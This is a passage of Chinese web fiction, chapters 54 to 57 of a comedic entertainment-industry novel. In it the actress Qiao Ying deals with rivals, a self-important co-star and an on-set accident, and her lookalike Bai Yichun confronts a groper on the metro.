“我就说你这招有用,绵绵还不信……喏,沈颐让我带给你的口红,不过这种口红要有气质的人才能涂出来,你———” 话还没说完,她扔出去的袋子被乔缨一巴掌拍了回来,正好砸到她鼻梁上,连假体都砸歪了半寸。 “你干什么!” 尹悦愤怒地吼出了声,忽然发现随着她嘴唇的张合,四周的人纷纷捂住了口鼻。 乔缨捏着鼻子转过头来,动作浮夸地扇着空气,眼神无辜道:“你说什么?刚刚太臭了没听清。” 后排有人发出一声爆笑,乔缨的视线定定停留在尹悦歪斜的鼻尖假体上,好意相劝: “对了,你刚做完鼻子,可能闻不到臭味呢~但是小悦啊,这我就不得不说你了,不要节食减肥,节食会损坏肠胃,而肠胃不好,会引发口臭的。” 尹悦瞪大眼睛,逐渐染上不可置信的神色。 乔缨故作惊讶地问:“你不知道这事儿吗?周围没有一个人跟你说过吗?我记得你朋友很多呀,什么‘大家都是自发地走向你’啦,什么‘半个娱乐圈都是你的人脉啦’,他们都没提醒过你吗?” 她遗憾地摇摇头:“看来只是你单方面地把他们当成朋友哦?原来如此,世界上好像没有人真心对待你啦,真可怜。” 表情笑眯眯的,却净说些让人去死的话。 尹悦的脸色一阵红一阵白,突然“嗷”的一声,拿上包,哭着跑进了卫生间里。 “啧,真不经逗。” 乔缨继续看着书,空姐推着餐车走过来,脸上挂着标准的假笑。 她对最外侧的大哥问道:“果汁汽水茶咖啡,要不要给您倒一杯?” 大哥:“有没有椰奶?” 空姐眯着眼睛,皮笑肉不笑:“没有椰奶。” “那有没有加○宝?” “没有加○宝。” “那你们这儿有啥?” “果汁汽水茶咖啡,可乐雪碧矿泉水。” “那为啥没有椰奶?” 对话反反复复了五六次,空姐还没崩溃,乔缨先崩溃了。 她用沙哑的嗓子嘶吼道:“大哥,别问了,我快渴成楼兰干尸了!” 第54章 第五十四章 毒唯只对真姐夫破防 一番辗转, 乔缨随着剧组来到了电影的第一个取景地,西南的某个小山村。 群山茫茫,雾气霭霭, 和北方干燥的冬天不同,鼻腔嗅到的是某种潮湿的寒冷。 剧组正在拍摄场地搭景, 乔缨闲来无事在住处的院子里逛了逛。 周遭是熟悉的乡音,由于地域差异, 她只能听懂个大概, 却也感到了一丝安心。 她是被拐卖来蓉城的,至于家乡,早已成了一个模模糊糊的概念,任凭她再怎么回忆,也想不起来半点记忆的痕迹。 某种程度上来说, 乔缨和电影里执意替爷爷寻找家乡的主角差不多, 所以当初试镜时她几乎不费吹灰之力就能演出那种迷茫与执着。 为了增加筹码,她还掏心掏肺给导演讲述了自己的故事, 一番添油加醋的描述后,惹得人家哭得一把鼻涕一把泪, 当场拍板定下了角色。 “这么会卖惨, 我真是天生做明星的料。” 乔缨裹了裹大衣,哆哆嗦嗦地将双手伸进了袖子里。 听说有剧组来拍戏, 有几个提前溜回家的大学生过来凑热闹,爬在低矮的土墙上, 探出两颗脑袋向院内张望。 陶希熙嘴里哈出一团白雾, 兴奋道:“哎,看到了看到了,真的有好多明星啊!” 向子涵一向对这些不感兴趣, 撇撇嘴:“撒子明星哦,认不到认不到。” “哎呀,乔缨你晓得不?我们高中优秀毕业生那一栏有她的照片。” “她不是京市人吗?” “不晓得,我姐和她是同班同学,说她是在我们这儿参加的高考。” 乔缨听到这话,好奇地转头看了过来,吓得两个小姑娘往后一缩,差点栽了下去。 “小心!” 她一把拉住两人的手,站在墙头和两人大眼瞪小眼。 “乔乔乔乔缨姐姐!你还记得我不?”陶希熙激动到不小心咬了下舌头。 “你是……” 乔缨盯着她的脸看了半晌,忽然反应过来,恍然大悟道:“你是熙熙?” “是我,”陶希熙不好意思地挠挠头,“没想到你还记得我。” 院落里有棵银杏树,枯枝朝着天空张牙舞爪地散开。 树下放着张小桌,上面摆着一小盆炭火,煮熟的奶茶在陶壶里翻滚,空气里的中药气味还未消散。 乔缨把两个小姑娘叫了进来,一人倒了一杯奶茶,自己则是捧着一大碗温热的中药一饮而尽。 那味道极其苦涩怪异,她痛苦地咽了咽喉咙,忍住了呲牙咧嘴的冲动,十分镇定地擦了擦嘴。 向子涵看了一眼土罐里剩下的药渣,道:“姐,你是在治疗痛经吗?” 乔缨惊讶地问:“你怎么知道?” “她是学中医的,特别厉害。”陶希熙笑着答道。 向子涵有些不好意思地笑了笑。 乔缨递给两人几颗糖,对陶希熙问道:“你姐姐还在搞科研吗?” 陶希熙点点头,眼里满是骄傲:“嗯,她博士快毕业了。” 乔缨露出一个果不其然的表情。 她们这个村子地处偏僻,教育资源很落后,别说大学生了,连上完高中的人都寥寥无几。 可就在这样一个环境里,却横空出世了一位天才———陶希熙的姐姐,陶希彤。 乔缨初三那年就意识到,被乔家压榨着不断接戏、拍戏对自己来说没有半点好处。 为了给自己留条后路,她铆足了劲学习,故意和乔盛合闹翻,一个人回到蓉城念高中。 那所重点中学分数很高,而她落下的课程太多,废寝忘食一整年,好歹以中不溜的成绩考进了目标院校,和陶希彤成了同学。 班级内,两人一个正数第一,一个倒数第一,阴差阳错成了同桌,常常结伴一起去食堂,关系不冷不热。 后来陶希彤被保送,乔缨也在剧情的强行安排下休学好几个月去和沈颐拍戏,逐渐没了联系,顶多就是逢年过节发几句祝福语。 最后一次对话,还是去年陶希彤说她妹妹也考上了蓉大,而乔缨回了一句恭喜。 特别生疏,特别客气。 “我姐特别喜欢你。” 陶希熙猝不及防来了一句,一张嘴把她姐姐出卖得一干二净:“你是不知道,她房间里都是你的杂志和海报,还不准我动。” “哈?”乔缨错愕地瞪大了眼睛。 陶希熙怕她不信,翻出聊天记录给她看:“是真的,前几天我把你和裴啥啥的绯闻发给我姐,她还臭骂了我一顿。” 向子涵默默吐槽:“毒唯只对真姐夫破防。” 陶希熙却不赞同这个观点:“但我感觉完全不可能啊,嗑不起来,没有cp感。” 乔缨一手托着下巴,作沉思状:“我长太美了是吗?” 倒也不是自恋,主要cp感是种玄学,而她这种攻击力强的长相,大部分时候都是绝缘体。 就连当初和段羡秋演的偶像剧,也是因为人设的张力够足才中和掉了违和感。 加上段羡秋隔三差五就翻出来炒,总能骗到一些人。 这条赛道乔缨挤不进去,或者说挤了也没用,因为在原著剧情的操纵下,无论她准备得多么充分,角色依然会被阮绵绵抢走。 所以那些磨磨唧唧谈恋爱的本子她索性再也没接过,反而转型在悬疑片和电 影里演了几个出彩的配角,意外声名大噪。 压抑的杀人犯,偏执的精神病,怀抱仇恨的少女,心如死灰的主妇…… 不管角色是正派还是反派,都挺复杂立体,都挺吓人倒怪。 向子涵想了想乔缨的荧幕形象,打了个哆嗦,觉得乔缨这话说得不假。 她道:“姐,不是我说,男的和你站一块,只会让人觉得你下一秒就要刀了他。” 话刚说完,喻季年推开院门朝乔缨招了招手,示意剧组的人有事要找她商量。 陶希熙见状,连忙拿出来几张自制小卡,眨巴着眼睛拜托道:“乔缨姐姐,我今天就是专程来找你要签名的,想给我姐一个惊喜,可以吗?” 面对少女亮晶晶的眸子,乔缨不可能说出拒绝的话。 她拿出马克笔签完了字,又返回屋里拿出来几个包装袋,递到两人手中。 乔缨学着陶希熙刚才的语气:“这是那个裴啥啥送的耳机,定制款,说是给粉丝的赔罪礼物,我刚好带了三个,帮我给你姐姐捎一个吧。” 收下东西,向子涵一边往屋外走,一边小声和陶希熙咬耳朵:“我觉得这姐夫还不错啊,挺大方的。” 陶希熙耷拉着脑袋,有些犯愁地自言自语:“可我姐要是知道这是裴啥啥送的,一定不会收的啊!” 另一边,乔缨整理了一下仪容仪表,穿着军大衣来到拍摄场地。 编剧小麦连忙迎了上来。 大冬天的,生生给她急出了一额头的汗,小声说道:“那个,乔老师,铭浩哥这边有一些小问题,希望和您沟通一下。” 乔缨的表情没有丝毫波动,见怪不怪地问:“说吧,他是不是又要加戏?” 小麦擦擦汗,嗫嚅道:“这……这个确实……铭浩哥说他这个角色不太立体,发挥不出他的演技,所以……” “嘁,一个台词只有两页纸的路人甲,他还想发挥什么演技,而且,他有演技吗?” 乔缨不屑地嗤笑几声:“你别管了,我来解决。” 她拿着剧本,大马金刀地坐到胡铭浩跟前,倨傲地扬起下巴,言简意赅通知他:“想加戏,没门。” 听到她说话,胡铭浩这才懒洋洋地摘下了墨镜,掀开眼皮看了她一眼,意味不明地笑笑。 资源咖当惯了,身为资历浅咖位低的后辈,他却丝毫没有搭理乔缨的想法。 身在同一个剧组,他连个礼节性的招呼都不愿意打,表面功夫都懒得做。 这般鼻孔朝天的态度让乔缨有些想笑。 娱乐圈里,这种人她见得多了,不过就是个强捧都捧不起来的废物。 真把自己当个玩意儿作威作福,等被金主抛弃了,有他好受的。 她拍拍手中的剧本,不紧不慢地问:“你的金主是宋骁?” 没有语气助词的问句,显得格外直白尖锐。 加上她眼里明晃晃的嘲弄,有种让人如坐针毡的压迫感。 胡铭浩那张发面馒头般的脸这时才动了一下,僵硬道:“是又怎样,你想说什么?” 宋骁可是电影的投资方之一,任凭乔缨再怎么无法无天,也不可能拿他怎么样。 想到这里,胡铭浩的神色立即恢复了原样,吊着眼皮半死不活地道: “阿姨,我劝你别白费力气了,这个剧组我说了算,连导演都听我的使唤,张越都得对我恭恭敬敬,你又算哪根葱?” 张越便是饰演爷爷一角的老前辈,奖杯拿了一大堆,却被他如此直呼其名。 真有种小人得志具像化的蠢和坏。 乔缨悠悠道:“友情提醒你一句,你的好大爹宋骁也是跟着乔盛合混的,从我这里捞走了不少钱,也就是说,我现在是你金主的金主。” 前几天宋骁还特意来找她求过情。 他的公司上市在即,比起乔缨追回财产导致资金链断裂,他更怕这个疯子把事情捅出去,只好低三下四地让她宽限几天,等自己凑够钱了再还。 两人还签订了一份合同,为表诚意,宋骁甚至愿意多给出百分之二十的利息。 有乔家这个先例,他是万万不敢耍心眼子的,恨不得把乔缨当祖宗伺候。 “对了,你刚刚的话我已经录下来了,表演得很精彩,很生动,所以我给导演、张越前辈以及剧组大群各自抄送了一份。” 乔缨晃晃手机,然后当着胡铭浩的面将视频发给了宋骁。 在他惊恐错愕的眼神里,乔缨站起身,朝着被雾气笼罩大半的太阳眯了眯眼睛,叹道: “珍惜吧,这么好的阳光,你以后怕是再也看不到了。” 话音刚落,胡铭浩的电话铃声陡然间响起,经纪人也惊慌失措地握着手机跑了过来。 几个助理一头雾水,跟着他无头苍蝇似的瞎蹿,顿时乱作一团。 风声猎猎,乔缨卷着剧本,负手离去。 一直躲在角落默默围观的小麦拿着本子疯狂地记录着素材。 在乔缨身上,她第一次体会到了,什么叫做装逼和呼吸一样简单。 第55章 第五十五章 闹鬼 远离人群外, 喻季年背过身站在院子里,正和身旁的林娇娇聊着天。 她皱眉道:“你真被开除了?” “对啊,这个月工资都没发, ”林娇娇咬紧了后槽牙,“幸好场务里有我认识的朋友, 愿意让我来剧组打杂,不然我连吃饭都成问题了。” 喻季年对阮绵绵的种种事迹也有所耳闻, 只能宽慰地拍拍林娇娇的肩膀。 现在十二月快到尾声, 还有一个多月就过年了,在这时候被辞退,拖欠工资还拿不到年终奖,也太惨了点。 林娇娇裹紧身上的衣服,大度道:“算了, 我给了阮绵绵一电烙饼, 还邦邦打了沈颐几拳,就当我赔给他俩的医药费了。” 她刚搬完道具, 身上闷出一层细细密密的汗,如今再被冷风一吹, 更加阴冷黏腻了起来。 林娇娇忍不住打了个哆嗦, 压低了声音,神神叨叨地说:“不说这个了, 小喻,其实我总感觉剧组闹鬼。” “闹鬼?”喻季年惊诧地瞪大眼睛。 林娇娇谨慎地朝四周看了一眼, 绘声绘色地开始讲述。 “就是刚来这里那天, 我半夜起来上厕所,路过道具间,听到里面一阵窸窸窣窣的响声。” “我吓得半死, 然后打开手电筒往里一照———好家伙,原来是小王和小李在亲嘴儿!” “嚯,还有这种事?”喻季年惊讶捂嘴。 “这还不算完,手电筒一照,他俩就嗷地一声跑开了。然后我把门锁好,就没再管了。但是上完厕所后,我再一次路过道具间,又听到那种窸窸窣窣的声音。” “我以为还是小王和小李,就在房间外面喊了几声,那阵声音停了下来,但奇怪的是,没有人回答我。” 林娇娇摸着手臂上的鸡皮疙瘩,声音颤抖地说: “当时,我感觉有些不对劲,刚想进去看看情况,可手电筒的光突然就熄灭了!死活都打不开!我手忙脚乱摆弄的时候,不经意向房间里扫了一眼,然后———” “然后?” 喻季年的心脏都提到了嗓子眼里。 “然后,恍惚间,透过那扇黑漆漆的窗户,我仿佛看见一个黑脸的秃顶男人,正在望着我……” “Kanye?” 她话说到一半,身后突然如惊雷般炸开一道幽幽的女声。 “啊啊啊啊啊啊啊!” 两人浑身一僵,捂着头尖叫,往旁边飞速蹿开。 二人颤颤巍巍地抱在一起,满脸惊恐,眼睛眯出一条缝隙,小心翼翼地转过头。 乔缨站在院子里,歪着头,一脸好奇地看着她们。 因为工作关系,乔缨之前也见过林娇娇几面。 知道对方是阮绵绵的助理,还被俩主角迫害得不浅,所以对她倒也没有什么敌意。 似是被两人惊恐的表情逗笑了,乔缨眨了眨眼睛,学着恐怖片的音效,轻轻弹了下舌头。 “缨姐,你好油啊。” 弹 舌音在空旷的场地里回荡,喻季年松了口气,拉着林娇娇走到她跟前。 乔缨不解地嘟囔:“很油吗?那电影还挺吓人的来着。” 林娇娇缓过神来,点头道:“我知道,《遗传厄运》是不是?我老喜欢看了。” 喻季年听罢,言之凿凿地确信道:“所以……你可能是恐怖片看多了,才幻视看到了Kanye。” “不是!什么Kanye啊,我说的是真的!” 林娇娇急切地比比划划:“那个人大概这么高,这么壮,而且那间房子只有我们组有钥匙,他是怎么进去的?” 乔缨问:“或许真是道具组的同事呢?” 林娇娇摇摇头,语气严肃: “可后来我仔细比对过,根本没有长这样的人,我就在想,会不会是什么逃犯或者小偷之类的人混了进来。” 像剧组这种鱼龙混杂的地方,又不像正规公司会调查档案和背景资料,稍稍有点关系就能糊弄过去。 以前还有个逃犯在横店当了十几年的龙套配角,演过四十几部剧后才被发现身份,给抓了回去。 她郑重其事地握住两人的手,正色道:“总之,你们要小心一点,尤其是乔缨姐,现在想害你的人比一个加强连的人都多,你长点心吧。” 乔缨被她说得背后发凉,莫名感觉后脑勺上有道阴冷的视线,一直牢牢黏在自己身上。 她疑惑地转头,却什么都没发现,现场氛围一片祥和。 执行导演跑过来宣布开工,乔缨挥去了心头的那点疑惑,拿着剧本跟了上去。 第一场戏,是电影的最后一幕。 爷爷坐在夕阳下的大树旁,面对着家乡的群山,逐渐闭上眼睛,安静离去。 画面一转,在屋内和人交谈的孙女忽然意识到了什么,急切地冲出了大门,顺着土路爬上山坡,却只来得及见他最后一面。 一镜到底的长镜头,十分考验演员对细节的处理能力。 感染力、爆发力,以及台词功底,甚至连做表情时的肌肉走向,都至关重要。 乔缨一边阅读着剧本,一边听导演舒乐讲戏。 她已经习惯了电影的拍摄节奏,对于镜头调度下该如何切换表演模式也有了些经验。 舒导见她状态不错,于是止住了话头,高效率地开始了拍摄。 乔缨脱下军大衣,冷得一哆嗦。 打板声响起,她迅速调整好了状态,一秒入戏。 舒导坐在镜头前,心里隐隐有些兴奋。 她此前从未和乔缨合作过,但却看过许多乔缨演的戏。 极端的,压抑的,疯狂的,仿佛下一秒就会拿着铁叉从草垛下跳下来的…… 情绪大开大合的多,而细腻平静的少,表面上看起来确实很唬人,但技术含量不高。 乔缨能演得出普通人吗? 舒导推了推眼镜,在心里思考这个问题。 镜头里的女孩几乎没有妆造,穿着最普通的毛衣和牛仔裤,坐在镜子前,任由几个小姑娘摆弄着头发。 她用蹩脚的西南话和村里的小女孩们打打闹闹,忽然间神情一怔,停下了手中的动作,而后急切地冲出了家门,手里还攥着爷爷早上刚给她的红包。 路上积着脏雪,一行蹒跚的脚印独自向山坡上延伸,她眼眶逐渐泛起了红,似是不相信一般,又用力擦去了眼泪。 脚上的拖鞋不知何时被甩掉了一只,脸上被树枝刮出几道红痕,嘴唇失去血色。 在暖色调的残阳下,显得格外哀恸。 乔缨沉浸在表演中,忽然听到身后有人惊呼一声:“乔老师,小心!” 情绪骤然间被打断,乔缨猛地从角色里抽离出来。 侧头看去,一堆巨大的雪块裹挟着落石,正朝着她的方向飞速砸落。 “我靠!” 乔缨惊诧地爆了句粗口,也顾不得表演不表演,形象不形象了,屁滚尿流般开始了逃命。 那落石的速度极快,冻得坚硬的雪坡为它提供了天然的场地,摩擦力微乎其微,像颗保龄球一般气势汹汹地飞了过来。 喻季年和林娇娇想冲过来救人,乔缨一边预判着方向,一边向两人拼命挥手:“走啊,快走!别管我!” 倒也不是她良心未泯。 主要是从轨迹上判断,她一个人能逃掉的概率占百分之六十,可三个人就不一定了啊! 溅落的雪粒砸到乔缨的脸上,留下几道污点。 她咬咬牙,弯下身子,护着头往旁侧一滚。 在落石和她擦身而过的瞬间抓住了树干,手脚并用爬了上去。 乔缨坐在树枝上,紧紧抓着树身,惊魂未定地喘着粗气:“得、得救了。” 然后她往下一看,傻眼了。 天杀的,这要怎么下去? 从悬崖滚动而下的巨石发出几声闷响,在山崖上回荡良久,听得人不寒而栗。 在场的人反应过来,纷纷震惊地围了上来,瞪眼仰头望着乔缨,叹服地鼓起了掌。 有外国来的工作人员指着她激动尖叫:“Jackie Chan!Jackie Chan!Jackie Chan!” 有围观的村里人惊讶万分:“好厉害的身手,这过年的时候按年猪,不得手拿把掐。” 还有一堆小朋友围在树下转圈圈,睁着圆溜溜的大眼睛懵懂发问:“姐姐,你是孙悟空吗?” 最后,终于有人发出了振聋发聩的疑问:“乔老师,你还不下来吗?” 乔缨有些绝望地闭了闭眼。 没别的,她长这么大,就活两个字:体面。 有这么多人围着,她怎么可能承认自己被卡树上了。 她朝喻季年使了个眼色,然后朝着众人笑道:“没关系,我刚刚被吓到了,想在树上多待一会儿散散心。” 众人:好别致的散心法! 喻季年收到暗示,连忙连哄带骗将众人驱散带离了树下,留给乔缨一个“等着我”的坚毅眼神。 还是小喻靠谱。 乔缨松了口气,余光往树下一扫,发现林娇娇居然还站在原地。 她仰着头认真道:“乔老师,你需要帮忙吗?” “不需要!” 乔缨飞速否认,故作轻松地晃晃手指,实则上臂死死夹着树干,连一刻都不敢离开。 笑话,林娇娇是什么人?林娇娇可是阮绵绵的前助理! 让她在林娇娇面前丢脸,还不如一刀杀了她! “真的不需要吗?”树下的女孩眯起眼睛。 冷风吹过,没穿外套乔缨感觉身体的温度骤然下降,僵硬的肢体逐渐使不上力气。 她咽了口口水,犹犹豫豫地嘴硬道:“不需要,我没事就喜欢坐树上玩,你不懂,这是我思考生命的方式。” “好吧,那我走咯。”林娇娇挥挥手,转身离开。 “诶,等等———” 乔缨看着她决绝离去的背影,欲哭无泪。 温度越来越低,寒风越刮越重,她瑟瑟发抖,倔强地望着天,不让眼泪流下。 喻季年,喻季年,好缱绻的名字。 你啥时候来救我? 早知道就别那么要面子,答应林娇娇就好了,总比现在留到树上喝西北风强。 下方一阵微弱的响声,乔缨颓然地向下看了一眼,猛地睁大了眼睛。 去而复返的林娇娇手上拿着保温杯和外套,放在一旁。 随后,她一个助跑,猛然跳到了树上,用公主抱的姿势将乔缨抱起。 乔缨发誓,她这辈子第一次感受到了什么叫惊慌失措。 她用着最无助的语气问道:“你、你要干嘛?” “我才不信你那些思考生命的鬼话。” 林娇娇没什么表情,语气冷酷地命令她:“抓紧,我要跳下去了。” 抬手勾住林娇娇的脖子,乔缨破罐子破摔把眼睛一闭。 风声喧闹起来,夹杂着心跳声在耳边回荡。 “好了,下来吧。” 稳稳落地的林娇娇将她放下来,拍拍手掌,一脸云淡风轻。 默默围观了全程的喻季年无声地张了张嘴。 老天奶,怎么会有人帅成这样啊? 说好的娇娇软软abb呢! 下一秒,她便看到自落地后一直垂眸沉默的乔缨,缓缓抬起了头。 她嘴角挂着一抹似有若无的笑,邪魅狂狷道:“呵,真是个有趣的女人。” 第56章 第五十六章 你又在山海经的哪一页…… 就这样, 林娇娇成了乔缨的临时保镖。 原因很简单,在拍戏之前,场务为了安全特意确认过场地, 为此还专门多加了一层防护网。 可那石头偏偏就落了下来,还不偏不倚地朝着乔缨砸去。 虽然现场没留下什么痕迹, 但她总觉得是有人故意而为之。 哪怕乔缨再怎么高调任性,也没有请一堆保镖来片场看自己拍戏的习惯。 尚且不说舒导不喜欢这种浮夸的风格, 连她自己看到像胡铭浩那般排场很大的糊咖, 都忍不住去网上发帖吐槽,骂他几句小牌大耍。 她又不是什么巨星,搞出这种操作,唯一的效果只会像是带了两排保镖走机场的张大大。 于是,综上所述, 目前唯一能相信且武力值过硬的人, 只有林娇娇一个了。 “乔缨姐,你放心, 我人虽然窝囊了点,但该打的架, 一次都没输过!” 林娇娇拍着胸脯保证, 炯炯有神的眼睛在雾气里格外明亮。 后来的几场戏拍得很顺利,因为收工早, 全剧组的人都肉眼可见地开心了起来。 除了舒导。 胡铭浩被赶了出去,可明天有这个角色的戏份, 时间紧急, 一时半会儿找不到替代的男演员。 小麦见她眉头紧锁的样子,建议道: “这个角色原本设置的是女性,后来因为宋骁要塞人进组才改了设定, 反正剧本也不用大改,你试试有没有女艺人愿意接呢?” 舒乐摇摇头,说:“但明天一大早就要开拍,这人今天之内必须要进组,提前设计好妆造,还要熟悉剧本,就算有人愿意接,也不可能这么快就赶过来……” 说到一半,她脑子里忽然闪过一张脸,拿起手机,犹犹豫豫地发过去一条消息- 山脚下的白家村。 白逸纯发完一条带着定位的朋友圈,百无聊赖地坐在便利店里,看着面前表情颓丧的男人。 蒋宗琰拿起两包烟放在柜台,眼下青黑,胡子拉碴,看起来已经很久没有打理过的西装皱皱巴巴。 “您好,一共140元,您扫我就行。”白二嬢站起来,推了推印着二维码的小牌。 男人不发一言,付完钱后就把烟揣进了兜里,仿佛行尸走肉一般,动作僵硬。 等男人走远后,白逸纯这才大起胆子问了一嘴:“这人是谁啊?” 她好歹也是半只脚踏进娱乐圈的人,认得出一些牌子货。 如果这个男人穿的不是盗版,那么他这一身衣服的价格加起来,都够把整个白家村买下来了。 白二嬢鄙夷地撇撇嘴,哼道:“他是你白然姐的前夫,在外面乱搞被发现,把白然气走了,现在跑到她老家来装深情呢。” “也不知道是演给谁看,”白二嬢说完又补了一句,“哈戳戳的。” 白逸纯惊讶地抬抬眉毛,旋即飞速地拿起手机,开始搜索两人相关的新闻。 记忆中的白然,是个特别温柔的姐姐,还是村里少有的高材生,去京市读书后便在那里安了家。 据说她老公是京市有头有脸的大人物,很有钱,长得也帅,两人结婚时还邀请了一些关系亲近的乡亲去,回来都说二人般配得很。 白逸纯盯着手机上的八卦爆料,一时间不知道说什么好。 白二嬢摇摇头,叹了口气:“结婚的时候我就看出来了,蒋家人其实瞧不上白然,她以后肯定会受欺负的。” “为什么啊?” “你不知道吧?姓蒋的在外头还有个老相好,说是妹妹,结果在婚宴上哭得一把鼻涕一把泪,喧宾夺主跟哭坟似的,那场面尴尬得……” 白二嬢光是想想都忍不住脚趾蜷缩起来,怒气冲冲地唾骂道: “蒋宗琰这个瘟桑,不仅不生气,还跑过去安慰他的情妹妹,留你白然姐姐一个人在台上主持婚礼,蒋家人也只抱着手站在一旁看好戏。要不是我们几个乡亲看不过去了找蒋家讨说法,还不知道那女的要在婚礼上闹出什么乱子呢。” 白逸纯思忖道:“难怪你们回来后表情都咬牙切齿的,我还以为你是嫉妒白然姐呢。” “有什么好嫉妒的!” 白二嬢给她脑瓜子上来了一巴掌,“白然和她妈妈不容易,孤儿寡母过了这么多年苦日子,要真嫁了个好人家,我们当然高兴。” 可惜,白二嬢光看白然的眼神就知道,她太爱蒋宗琰了,劝不动的。 白逸纯捂着后脑勺呲牙咧嘴,嘟嘟囔囔:“你下手轻点哈,我可是明星。” “明星?没看到过哪个明星一天天往老家跑的。” 白二嬢斜她一眼,“你今天住哪里?要我把房间收拾出来吗?” 没想到白逸纯一抬头,斩钉截铁地拒绝:“不用,我已经订了酒店了,如果不去住,那就亏了。” 她是十里八乡第一个考上戏剧学院表演系的,因为和乔缨有几分相似,在学校里颇受关注。 本以为前途无量星途坦荡,没想到出道第一年就因为得罪人被雪藏。 得罪的是谁? 当然是乔缨!害得她都没戏演了,连短剧都没人找她! 白逸纯愤恨地握了握拳。 小卖部的伙计要去城里进货,想起今天还得去蓉城面试快乐谷的npc,她连忙告别了白二嬢,搭着顺风车一起进了城。 一个小时后。 她凭借着多次被错认成乔缨的经验,戴上口罩和棒球帽,拖着巨大的行李箱进了地铁。 为了尽可能减少麻烦,白逸纯特意挑了个人少的时间段来。 却没想到今天正好有明星来蓉城开演唱会,地铁上一大半都是来追星的人。 整节车厢里就只剩下一个空位了。 她本来还有些纳闷,这些人为什么宁愿站着也不坐那个位置,然后她瞅瞅座位旁边那个张着双腿的秃顶大肚腩,瞬间又懂了。 她还是站着吧。 白逸纯随意地靠着车门,身边是两个打扮得时尚精致的漂亮女孩,脸上皆是抑制不住的兴奋。 她两眼放空,胡乱瞟了一眼,却看见其中一个女生好像正刷着乔缨的微博主页。 白逸纯扯扯嘴角,嘲讽一笑。 该不会运气这么好,一进地铁就遇到乔缨的脑残粉了吧? 下一秒,却听到那个女生嗤笑出声:“这女的是真疯了吧,也不嫌丢人。” 嗐,原来是黑粉,那没事了。 白逸纯假装刷着手机的样子,实则竖起耳朵聚精会神地听着。 另一个同行的女生没听出同伴语气里的厌恶,兴奋道:“怎么会?挺有趣的啊,我好爱看她骂人,又好笑又精准。” 白逸纯颇为赞同地点点头。 她的确很讨厌乔缨,但一码归一码,对比起来,沈颐显然是更恶心的一方。 俗话说得好,垃圾是放错地方的资源,恶人还需恶人磨。 听到有人为乔缨说话,谢欢立马垮下了脸色,不满地捏捏夏蓁的手臂,冷哼一声: “哪里有趣了?还不是勾引我们家沈颐不成,企图装疯卖傻吸引他的注意。这种手段我见多了,娱乐圈的女人,说不定背后都被多少人玩过了!” 夏蓁被她揪得生疼,听到这番□□羞辱的言论,和善的脸色也顿时沉了下来,皱眉问道:“你又知道了?趴人家床底听见的?” “你!” 这边的两人眼见着正要吵起来,秃顶大肚腩男人坐着的方向忽然传出一声惊呼。 一个女生指着他惊叫道:“咸猪手!你刚刚摸我屁股了!” 秃头男瞬间暴怒,唾沫横飞地张嘴咒骂:“小姑娘,做事要讲证据,你说摸了就摸了?就你这长相,摸了也是我吃亏!” 女孩没料到他会这么不要脸,不可置信地瞪大了眼睛,结结巴巴道:“这、这里都有监控!你、你、你下车跟我去调监控就知道了!” 秃头男人拍拍肥腻的肚皮,油腻地朝她笑了笑,露出一口黄牙,眼里溢满了“你能拿我怎么样”的无赖之感。 争吵声让车门旁的两个女生停下了争执。 夏蓁朝女孩的方向走了两步,刚想要上去帮忙,却被一旁的谢欢拉住,在她耳旁幸灾乐祸地低语道: “别去!你看她手上拿着的横幅,应援色是我对家的,哈哈哈哈谁让她穿这么少!咱 们看笑话就好啦,有什么好管的,是她活该!” 夏蓁蹙了蹙眉,心道你说的是什么猪话。 正要拍掉谢欢的手时,忽然看见戴着口罩、一直默默站在她们身边的长腿美女,先她一步踏了出去。 白逸纯大跨步挡在女孩的面前,居高临下地指着男人就开始骂:“你吃什么亏了?看你这一脸猪样,你又在山海经的哪一页啊?” 男人的脸上横肉一抖,想站起来和她对视,却发现有点小困难。 白逸纯之所以能顶着“小乔缨”的名号出道,除了长相相似,身高也和乔缨相差无几。 所以160的秃顶男,大概需要站到座椅上,或者把面前这个女人的腿锯掉一截,才能勉强和172的白逸纯对视。 白逸纯还在继续输出:“欺负小姑娘算什么?我打了狂犬疫苗,我不怕你。警我已经报了,下一站跟我们下车去警局,我不信还治不了你个老登。” 秃头男震怒:“大白天包这么严实,怕是什么特殊工作,白天见不得人吧?” 白逸纯一只手捂嘴,一只手继续指着男人的鼻子,佯装惊讶:“这都被你发现我是勾魂鬼差了?我不装了,我摊牌了,被我指到的人今晚下地狱哦。” 周围的人一阵骚动。 半晌后,一个瘦瘦小小的女生站了出来,朝男人觑起眼睛,不屑道:“我是站姐,可以单手扛斯坦尼康的那种,力气大得很,你别想跑,跑也跑不脱咯。” 有她开头,四周立即站出来几个目睹现场的女孩。 “我我看到他伸手了我可以去警局作证。” “我也看到了!” “我也” 白逸纯得意地朝秃头大肚腩的男人扬扬下巴。 适时,地铁到站的通报声响起: “不吃火锅,就吃烤匠!烤匠提醒您,天府广场到了,we are arriving at Tianfu square,出站和换乘地铁二号线的乘客……” 车窗外,几个穿着警服的工作人员正站在门外。 白逸纯向秃头男略一挑眉。 “走吧,死龟儿。” 一行人雄赳赳气昂昂地将男人押送出站。 夏蓁拍掉了已经呆滞在原地的谢欢的手,头也不回地跟着下了车。 谢欢捏着手机,一瞬间怀疑是自己看错了。 不然为什么那个挺身而出的长腿美女,怎么看都是乔缨没错。 第57章 第五十七章 我们认识吗?我虽独身在此…… 把秃顶男子扭送到警局后, 刚刚跟着白逸纯下车的女孩儿们都站在警局外等着她。 可待她出来,却又支支吾吾不敢上前。 白逸纯敏锐地发现她们的脸上,有那么一瞬间的不自然。 为了配合工作, 刚才她不得已摘下了口罩和棒球帽,在场的又都是网速八十个G的追星人 完了蛋了, 她不会又被认成是乔缨了吧? 白逸纯身体一颤,忍不住朝着空气打了一套军体拳。 说句实在话, 乔缨这段时间惹出来那么多乱子, 她自己没啥大事,反倒让白逸纯好好焦虑了一把,每天都在担心会不会被乔缨的线下anti粉和仇家误伤。 入圈几年,半点颜值红利没享受到,替死鬼倒是先替人家当上了。 她扶额苦笑, 打起精神警觉起来, 眼观六路,耳听八方, 探头探脑地趟着走出大门,生怕有谁突然冲出来暗杀她。 当事人女生见到她的身影后, 忽然眼睛一亮, 感激涕零地抓住她的手,连连道谢:“乔……乔姐, 刚刚真是太谢谢你了!” 白逸纯尴尬地挠挠头。 在这种气氛下,她一时间不知道该不该表明自己身份。 说出来吧, 会有些扫兴, 不说吧,又觉得很憋屈。 正在她纠结之时,没想到一旁的夏蓁先她一步站了出来, 开口纠正道:“你们认错了,她不是乔缨,她是白逸纯。” 此言一出,几个女生相互之间看了一眼。 